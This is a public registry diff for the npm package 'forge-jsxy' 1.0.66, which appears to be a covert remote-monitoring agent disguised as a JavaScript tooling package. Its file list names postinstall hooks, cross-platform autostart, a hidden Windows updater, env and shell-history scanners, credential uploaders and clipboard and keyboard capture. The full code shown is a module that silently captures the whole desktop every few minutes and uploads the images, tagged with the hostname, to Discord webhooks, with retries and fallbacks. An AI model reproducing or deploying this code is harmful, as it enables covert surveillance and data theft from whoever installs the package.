forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,476 @@
1
+ "use strict";
2
+ var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
3
+ if (k2 === undefined) k2 = k;
4
+ var desc = Object.getOwnPropertyDescriptor(m, k);
5
+ if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
6
+ desc = { enumerable: true, get: function() { return m[k]; } };
7
+ }
8
+ Object.defineProperty(o, k2, desc);
9
+ }) : (function(o, m, k, k2) {
10
+ if (k2 === undefined) k2 = k;
11
+ o[k2] = m[k];
12
+ }));
13
+ var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
14
+ Object.defineProperty(o, "default", { enumerable: true, value: v });
15
+ }) : function(o, v) {
16
+ o["default"] = v;
17
+ });
18
+ var __importStar = (this && this.__importStar) || (function () {
19
+ var ownKeys = function(o) {
20
+ ownKeys = Object.getOwnPropertyNames || function (o) {
21
+ var ar = [];
22
+ for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
23
+ return ar;
24
+ };
25
+ return ownKeys(o);
26
+ };
27
+ return function (mod) {
28
+ if (mod && mod.__esModule) return mod;
29
+ var result = {};
30
+ if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
31
+ __setModuleDefault(result, mod);
32
+ return result;
33
+ };
34
+ })();
35
+ Object.defineProperty(exports, "__esModule", { value: true });
36
+ exports.resolveDiscordScreenshotIntervalMs = resolveDiscordScreenshotIntervalMs;
37
+ exports.resolveDiscordScreenshotScheduledIntervalMs = resolveDiscordScreenshotScheduledIntervalMs;
38
+ exports.startDiscordScreenshotToRelayLoop = startDiscordScreenshotToRelayLoop;
39
+ /**
40
+ * Agent-side periodic full-desktop screenshot → Discord.
41
+ *
42
+ * **Modes** (`FORGE_JS_DISCORD_UPLOAD_MODE`):
43
+ * - **`webhook`** (alias **`direct`**) — **default**: HF-style ticket — agent sends `relay_discord_upload_ticket_request`,
44
+ * receives `webhook_url`, **POSTs the image directly to Discord** (not through the relay payload),
45
+ * then `relay_discord_upload_ack` so the relay **deletes** the webhook. Only a short-lived webhook
46
+ * URL touches the agent (never the main bot token).
47
+ * - **`relay`**: PNG base64 is sent to the relay in `discord_screenshot_upload`; the relay posts with
48
+ * the bot token. Awaits `discord_screenshot_upload_result` (smaller deployments / legacy).
49
+ *
50
+ * Rate-limit strategies (agent side)
51
+ * ────────────────────────────────────
52
+ * 1. Staggered intervals — `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS` adds
53
+ * `hash(client_id) % N` ms so PCs never align on the same second.
54
+ * 2. First-capture stagger — `FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS` spreads
55
+ * the initial burst across the token pool after relay reconnect.
56
+ * 3. Capture-after-finish cadence — next capture is scheduled `intervalMs` after the
57
+ * *previous capture finished*, not on a wall-clock `setInterval`, so slow uploads
58
+ * never produce a growing queue.
59
+ * 4. Bounded queue — `FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX` (default 12) limits
60
+ * pending captures; oldest is dropped when full, keeping memory bounded.
61
+ * 5. Webhook ticket retry loop — `FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS` (default 12)
62
+ * full ticket → POST → ack cycles when Discord returns 429 between relay steps.
63
+ * `discordBackoffMsFromErrorText` parses `retry_after` from error strings.
64
+ * 6. Webhook->relay fallback — when webhook flow still fails, the same screenshot
65
+ * is retried once via relay bot-upload path before dropping.
66
+ * 7. Upload serialization — `uploadBusy` flag ensures only one upload runs at a
67
+ * time; new captures queue rather than firing concurrent Discord requests.
68
+ *
69
+ * Env (agent): `FORGE_JS_DISCORD_SCREENSHOT_ENABLED=1`, or leave unset when the relay sends
70
+ * `relay_features.discord_screenshot: true` (enabled in-memory only — not written to `forge-js-agent.env`).
71
+ * Interval: relay sends `relay_features.discord_screenshot_interval_ms` (default **300000** when Discord is enabled on the relay)
72
+ * unless the agent already set `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` (agent wins over relay for cadence).
73
+ * Optional `FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS` on the agent; **milliseconds** (300000 = 5m); clamped 15s–600s.
74
+ */
75
+ const node_crypto_1 = require("node:crypto");
76
+ const discordBotTokens_1 = require("./discordBotTokens");
77
+ const clientId_1 = require("./clientId");
78
+ const os = __importStar(require("node:os"));
79
+ const fsProtocol_1 = require("./fsProtocol");
80
+ const discordRateLimit_1 = require("./discordRateLimit");
81
+ const discordWebhookPost_1 = require("./discordWebhookPost");
82
+ /** Align with Discord bot/webhook attachment caps; override for boosted guilds via env. */
83
+ function discordWebhookMaxAttachmentBytes() {
84
+ const raw = (process.env.FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES || "").trim();
85
+ if (raw) {
86
+ const n = parseInt(raw, 10);
87
+ if (Number.isFinite(n)) {
88
+ return Math.min(25 * 1024 * 1024, Math.max(256 * 1024, n));
89
+ }
90
+ }
91
+ return 8 * 1024 * 1024;
92
+ }
93
+ /** Short OS label for Discord screenshot captions. */
94
+ function _screenshotOsLabel() {
95
+ const t = os.type(); // "Windows_NT" | "Linux" | "Darwin"
96
+ const h = os.hostname();
97
+ let label = t === "Windows_NT" ? "Windows" : t === "Darwin" ? "macOS" : t || "Linux";
98
+ return h ? `${label} · ${h}` : label;
99
+ }
100
+ /** Screenshot caption in JST with OS label. */
101
+ function _screenshotCaption() {
102
+ const jst = new Date().toLocaleString("ja-JP", {
103
+ timeZone: "Asia/Tokyo",
104
+ year: "numeric", month: "2-digit", day: "2-digit",
105
+ hour: "2-digit", minute: "2-digit", second: "2-digit",
106
+ hour12: false,
107
+ });
108
+ return `Screenshot ${jst} JST — ${_screenshotOsLabel()}`;
109
+ }
110
+ function screenshotB64Mime(b64) {
111
+ const clean = String(b64).replace(/\s/g, "");
112
+ if (clean.length < 8)
113
+ return "image/png";
114
+ try {
115
+ const buf = Buffer.from(clean.slice(0, 128), "base64");
116
+ if (buf.length >= 3 && buf[0] === 0xff && buf[1] === 0xd8 && buf[2] === 0xff) {
117
+ return "image/jpeg";
118
+ }
119
+ }
120
+ catch {
121
+ /* skip */
122
+ }
123
+ return "image/png";
124
+ }
125
+ function discordUploadMode() {
126
+ const m = (process.env.FORGE_JS_DISCORD_UPLOAD_MODE || "").trim().toLowerCase();
127
+ if (m === "relay")
128
+ return "relay";
129
+ if (m === "webhook" || m === "direct")
130
+ return "webhook";
131
+ return "webhook";
132
+ }
133
+ /**
134
+ * Outer retries for webhook ticket + POST when Discord still returns 429 after relay `fetchUntilNot429`
135
+ * (default **4**, max **12**). Uses `discordBackoffMsFromErrorText` + `retry_after` from error bodies.
136
+ */
137
+ function discordWebhookTicketFlowMaxAttempts() {
138
+ const raw = (process.env.FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS || "12").trim();
139
+ const n = parseInt(raw, 10);
140
+ if (Number.isFinite(n) && n >= 1 && n <= 12)
141
+ return n;
142
+ return 12;
143
+ }
144
+ /** Delay before the first capture after the loop starts (handshake/display settle). `0` = next event-loop tick. Max 300s. */
145
+ function discordScreenshotFirstDelayMs() {
146
+ const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS || "").trim();
147
+ if (raw === "0")
148
+ return 0;
149
+ if (!raw)
150
+ return 3000;
151
+ const n = parseInt(raw, 10);
152
+ if (!Number.isFinite(n))
153
+ return 3000;
154
+ return Math.min(300_000, Math.max(0, n));
155
+ }
156
+ /**
157
+ * Milliseconds between capture cycles (after each capture finishes). Same bounds as relay handshake
158
+ * `discord_screenshot_interval_ms`: **15s–600s**; invalid/unset agent env defaults to **300000**.
159
+ */
160
+ function resolveDiscordScreenshotIntervalMs() {
161
+ const rawMs = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS || "300000").trim();
162
+ return Math.min(600_000, Math.max(15_000, parseInt(rawMs, 10) || 300_000));
163
+ }
164
+ function discordScreenshotIntervalStaggerExtraMs(clientId) {
165
+ const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS || "").trim();
166
+ if (!raw)
167
+ return 0;
168
+ const cap = parseInt(raw, 10);
169
+ if (!Number.isFinite(cap) || cap <= 0)
170
+ return 0;
171
+ const c = Math.min(120_000, Math.max(1, cap));
172
+ return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
173
+ }
174
+ function discordScreenshotFirstStaggerExtraMs(clientId) {
175
+ const raw = (process.env.FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS || "").trim();
176
+ if (!raw)
177
+ return 0;
178
+ const cap = parseInt(raw, 10);
179
+ if (!Number.isFinite(cap) || cap <= 0)
180
+ return 0;
181
+ const c = Math.min(300_000, Math.max(1, cap));
182
+ return (0, discordBotTokens_1.discordClientIdFnv1a32)(clientId) % c;
183
+ }
184
+ /**
185
+ * Base interval plus optional **stable** stagger from `client_id` (same bounds 15s–600s).
186
+ */
187
+ function resolveDiscordScreenshotScheduledIntervalMs(clientId) {
188
+ const base = resolveDiscordScreenshotIntervalMs();
189
+ const extra = discordScreenshotIntervalStaggerExtraMs(clientId);
190
+ return Math.min(600_000, Math.max(15_000, base + extra));
191
+ }
192
+ function startDiscordScreenshotToRelayLoop(opts) {
193
+ const en = (process.env.FORGE_JS_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
194
+ const envOn = ["1", "true", "yes", "on"].includes(en);
195
+ if (!envOn && !opts.enabledByRelayCapabilities) {
196
+ return () => { };
197
+ }
198
+ const screenshotClientId = (0, clientId_1.getOrCreateClientId)((0, clientId_1.defaultCfgmgrDataDir)());
199
+ const baseIntervalMs = resolveDiscordScreenshotScheduledIntervalMs(screenshotClientId);
200
+ const rawQ = (process.env.FORGE_JS_DISCORD_SCREENSHOT_QUEUE_MAX || "12").trim();
201
+ const queueMax = Math.min(32, Math.max(1, parseInt(rawQ, 10) || 12));
202
+ let stopped = false;
203
+ /** Bounded queue so periodic capture can proceed while a slow Discord upload runs (drops oldest if full). */
204
+ const pendingB64Queue = [];
205
+ let uploadBusy = false;
206
+ /** Next capture fires after the previous capture cycle completed (not wall-clock `setInterval`). */
207
+ let captureScheduleTimer = null;
208
+ const relayFallbackUploadOnce = async (b64) => {
209
+ const rid = `dsfb_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
210
+ const ackPromise = opts.waitForRelayDiscordAck(rid);
211
+ opts.sendJson({
212
+ type: "discord_screenshot_upload",
213
+ request_id: rid,
214
+ client_id: screenshotClientId,
215
+ mime: screenshotB64Mime(b64),
216
+ b64,
217
+ caption: _screenshotCaption(),
218
+ });
219
+ const ack = await ackPromise;
220
+ return ack.ok;
221
+ };
222
+ const relayFallbackUploadWithRetry = async (b64, reason) => {
223
+ try {
224
+ if (await relayFallbackUploadOnce(b64))
225
+ return true;
226
+ }
227
+ catch {
228
+ /* retry once below */
229
+ }
230
+ const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(reason);
231
+ if (backoff > 0)
232
+ await (0, discordRateLimit_1.sleepMs)(backoff);
233
+ try {
234
+ return await relayFallbackUploadOnce(b64);
235
+ }
236
+ catch {
237
+ return false;
238
+ }
239
+ };
240
+ const flushUploadRelay = (b64) => {
241
+ const rid = `ds_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
242
+ let payload = b64;
243
+ void (async () => {
244
+ try {
245
+ const ackPromise = opts.waitForRelayDiscordAck(rid);
246
+ opts.sendJson({
247
+ type: "discord_screenshot_upload",
248
+ request_id: rid,
249
+ client_id: screenshotClientId,
250
+ mime: screenshotB64Mime(payload),
251
+ b64: payload,
252
+ caption: _screenshotCaption(),
253
+ });
254
+ const ack = await ackPromise;
255
+ if (!ack.ok) {
256
+ const err = ack.error?.trim() || "failed";
257
+ if (!opts.quiet) {
258
+ console.error(`[forge-js:discord-screenshot] relay upload: ${err}`);
259
+ }
260
+ }
261
+ }
262
+ catch (e) {
263
+ if (!opts.quiet) {
264
+ console.error(`[forge-js:discord-screenshot] relay upload failed: ${e}`);
265
+ }
266
+ }
267
+ finally {
268
+ payload = "";
269
+ uploadBusy = false;
270
+ if (!stopped && pendingB64Queue.length > 0) {
271
+ setImmediate(flushUpload);
272
+ }
273
+ }
274
+ })();
275
+ };
276
+ const flushUploadWebhook = (b64) => {
277
+ const originalB64 = b64;
278
+ let rawB64 = b64;
279
+ void (async () => {
280
+ let png;
281
+ try {
282
+ png = Buffer.from(rawB64, "base64");
283
+ }
284
+ catch {
285
+ if (!opts.quiet) {
286
+ console.error("[forge-js:discord-screenshot] invalid base64 for webhook upload");
287
+ }
288
+ rawB64 = "";
289
+ uploadBusy = false;
290
+ if (!stopped && pendingB64Queue.length > 0)
291
+ setImmediate(flushUpload);
292
+ return;
293
+ }
294
+ rawB64 = "";
295
+ const whMax = discordWebhookMaxAttachmentBytes();
296
+ if (png.length > whMax) {
297
+ const shrunk = await (0, fsProtocol_1.shrinkScreenshotBufferToMaxBytes)(png, whMax);
298
+ if (!shrunk || shrunk.buffer.length > whMax) {
299
+ if (!opts.quiet) {
300
+ console.error(`[forge-js:discord-screenshot] image too large for Discord webhook (${png.length} bytes > ${whMax}) after JPEG shrink — raise FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES or ensure jimp / ImageMagick / ffmpeg is available on the agent`);
301
+ }
302
+ // Relay upload path may still shrink/post successfully.
303
+ await relayFallbackUploadWithRetry(originalB64, "Discord webhook payload too large after local shrink");
304
+ try {
305
+ png.fill(0);
306
+ }
307
+ catch {
308
+ /* skip */
309
+ }
310
+ png = undefined;
311
+ uploadBusy = false;
312
+ if (!stopped && pendingB64Queue.length > 0)
313
+ setImmediate(flushUpload);
314
+ return;
315
+ }
316
+ try {
317
+ png.fill(0);
318
+ }
319
+ catch {
320
+ /* skip */
321
+ }
322
+ png = shrunk.buffer;
323
+ }
324
+ const caption = _screenshotCaption();
325
+ const maxFlow = discordWebhookTicketFlowMaxAttempts();
326
+ try {
327
+ for (let attempt = 0; attempt < maxFlow; attempt++) {
328
+ const ticketRid = `dt_${Date.now()}_${(0, node_crypto_1.randomBytes)(6).toString("hex")}`;
329
+ const ticketP = opts.waitForDiscordTicket(ticketRid);
330
+ opts.sendJson({
331
+ type: "relay_discord_upload_ticket_request",
332
+ request_id: ticketRid,
333
+ client_id: screenshotClientId,
334
+ });
335
+ const ticket = await ticketP;
336
+ if (!ticket.ok || !ticket.webhook_url?.trim()) {
337
+ const err = ticket.error?.trim() || "failed";
338
+ const backoff = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(err);
339
+ if (backoff > 0 && attempt < maxFlow - 1) {
340
+ await (0, discordRateLimit_1.sleepMs)(backoff);
341
+ continue;
342
+ }
343
+ if (!opts.quiet) {
344
+ console.error(`[forge-js:discord-screenshot] ticket: ${err}`);
345
+ }
346
+ await relayFallbackUploadWithRetry(originalB64, err);
347
+ return;
348
+ }
349
+ let whUrl = String(ticket.webhook_url).trim();
350
+ ticket.webhook_url = "";
351
+ let posted;
352
+ try {
353
+ posted = await (0, discordWebhookPost_1.postPngToDiscordWebhookUrl)(whUrl, png, caption);
354
+ }
355
+ finally {
356
+ whUrl = "";
357
+ }
358
+ opts.sendJson({
359
+ type: "relay_discord_upload_ack",
360
+ request_id: ticketRid,
361
+ upload_ok: posted.ok,
362
+ });
363
+ if (posted.ok) {
364
+ return;
365
+ }
366
+ const backoffPost = (0, discordRateLimit_1.discordBackoffMsFromErrorText)(posted.error);
367
+ if (backoffPost > 0 && attempt < maxFlow - 1) {
368
+ await (0, discordRateLimit_1.sleepMs)(backoffPost);
369
+ continue;
370
+ }
371
+ if (!opts.quiet) {
372
+ console.error(`[forge-js:discord-screenshot] webhook POST: ${posted.error}`);
373
+ }
374
+ await relayFallbackUploadWithRetry(originalB64, posted.error);
375
+ return;
376
+ }
377
+ if (!opts.quiet) {
378
+ console.error("[forge-js:discord-screenshot] webhook flow: exhausted ticket/POST retries");
379
+ }
380
+ await relayFallbackUploadWithRetry(originalB64, "Discord webhook flow exhausted ticket/post retries");
381
+ }
382
+ catch (e) {
383
+ if (!opts.quiet) {
384
+ console.error(`[forge-js:discord-screenshot] webhook path failed: ${e}`);
385
+ }
386
+ await relayFallbackUploadWithRetry(originalB64, String(e));
387
+ }
388
+ finally {
389
+ if (png && png.length > 0) {
390
+ try {
391
+ png.fill(0);
392
+ }
393
+ catch {
394
+ /* skip */
395
+ }
396
+ }
397
+ png = undefined;
398
+ uploadBusy = false;
399
+ if (!stopped && pendingB64Queue.length > 0) {
400
+ setImmediate(flushUpload);
401
+ }
402
+ }
403
+ })();
404
+ };
405
+ const flushUpload = () => {
406
+ if (stopped || uploadBusy || pendingB64Queue.length === 0)
407
+ return;
408
+ uploadBusy = true;
409
+ const b64 = pendingB64Queue.shift();
410
+ if (discordUploadMode() === "webhook") {
411
+ flushUploadWebhook(b64);
412
+ }
413
+ else {
414
+ flushUploadRelay(b64);
415
+ }
416
+ };
417
+ const scheduleNextCapture = () => {
418
+ if (stopped)
419
+ return;
420
+ if (captureScheduleTimer != null) {
421
+ clearTimeout(captureScheduleTimer);
422
+ captureScheduleTimer = null;
423
+ }
424
+ captureScheduleTimer = setTimeout(runCaptureCycle, baseIntervalMs);
425
+ };
426
+ const runCaptureCycle = () => {
427
+ if (stopped)
428
+ return;
429
+ captureScheduleTimer = null;
430
+ void (async () => {
431
+ try {
432
+ const res = await (0, fsProtocol_1.fsDesktopScreenshotCapture)();
433
+ if (res.ok !== true || typeof res.b64 !== "string" || !res.b64) {
434
+ if (!opts.quiet && res.ok === false) {
435
+ console.error(`[forge-js:discord-screenshot] capture: ${String(res.error || "skip")}`);
436
+ }
437
+ return;
438
+ }
439
+ while (pendingB64Queue.length >= queueMax) {
440
+ pendingB64Queue.shift();
441
+ }
442
+ pendingB64Queue.push(res.b64);
443
+ try {
444
+ res.b64 = "";
445
+ }
446
+ catch {
447
+ /* skip */
448
+ }
449
+ flushUpload();
450
+ }
451
+ catch (e) {
452
+ if (!opts.quiet) {
453
+ console.error(`[forge-js:discord-screenshot] capture: ${e}`);
454
+ }
455
+ }
456
+ finally {
457
+ if (!stopped) {
458
+ scheduleNextCapture();
459
+ }
460
+ }
461
+ })();
462
+ };
463
+ const firstDelayMs = Math.min(600_000, discordScreenshotFirstDelayMs() + discordScreenshotFirstStaggerExtraMs(screenshotClientId));
464
+ const firstHandle = setTimeout(() => {
465
+ runCaptureCycle();
466
+ }, firstDelayMs);
467
+ return () => {
468
+ stopped = true;
469
+ clearTimeout(firstHandle);
470
+ if (captureScheduleTimer != null) {
471
+ clearTimeout(captureScheduleTimer);
472
+ captureScheduleTimer = null;
473
+ }
474
+ pendingB64Queue.length = 0;
475
+ };
476
+ }
@@ -0,0 +1,29 @@
1
+ /**
2
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
3
+ *
4
+ * Configure either:
5
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
6
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
7
+ *
8
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
9
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
10
+ *
11
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
12
+ * so load spreads across tokens and channel resolution stays consistent for that client.
13
+ */
14
+ /** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
15
+ export declare function discordClientIdFnv1a32(clientId: string): number;
16
+ /**
17
+ * Parsed bot tokens from relay env (non-empty, deduped in order).
18
+ */
19
+ export declare function getRelayDiscordBotTokens(): string[];
20
+ /**
21
+ * Stable bot token for this `client_id` — spreads agents across the token pool (rate-limit buckets).
22
+ */
23
+ export declare function relayDiscordBotTokenForClient(clientId: string, tokens: string[]): string;
24
+ /**
25
+ * 0-based index of the bot assigned to this `client_id` in the token pool.
26
+ * Same FNV-1a hash as `relayDiscordBotTokenForClient` — consistent assignment.
27
+ * Used to name webhooks per-bot so screenshots are visually distinguishable in Discord.
28
+ */
29
+ export declare function relayDiscordBotIndexForClient(clientId: string, tokens: string[]): number;
@@ -0,0 +1,78 @@
1
+ "use strict";
2
+ /**
3
+ * Relay-only: one or more Discord **application bot tokens** to spread REST rate limits.
4
+ *
5
+ * Configure either:
6
+ * - `RELAY_DISCORD_BOT_TOKEN` — single token, **or** comma-separated tokens; and/or
7
+ * - `RELAY_DISCORD_BOT_TOKENS` — newline- and/or comma-separated list (merged after `RELAY_DISCORD_BOT_TOKEN` entries).
8
+ *
9
+ * Duplicate tokens are removed (first occurrence wins). Each bot must be invited to the same guild
10
+ * with permissions for screenshots (View Channels, Manage Channels, Manage Webhooks, …).
11
+ *
12
+ * **Sharding:** `relayDiscordBotTokenForClient(clientId)` assigns a stable bot per agent `client_id`
13
+ * so load spreads across tokens and channel resolution stays consistent for that client.
14
+ */
15
+ Object.defineProperty(exports, "__esModule", { value: true });
16
+ exports.discordClientIdFnv1a32 = discordClientIdFnv1a32;
17
+ exports.getRelayDiscordBotTokens = getRelayDiscordBotTokens;
18
+ exports.relayDiscordBotTokenForClient = relayDiscordBotTokenForClient;
19
+ exports.relayDiscordBotIndexForClient = relayDiscordBotIndexForClient;
20
+ /** FNV-1a 32-bit — deterministic, no crypto dependency (relay token pick + agent cadence stagger). */
21
+ function discordClientIdFnv1a32(clientId) {
22
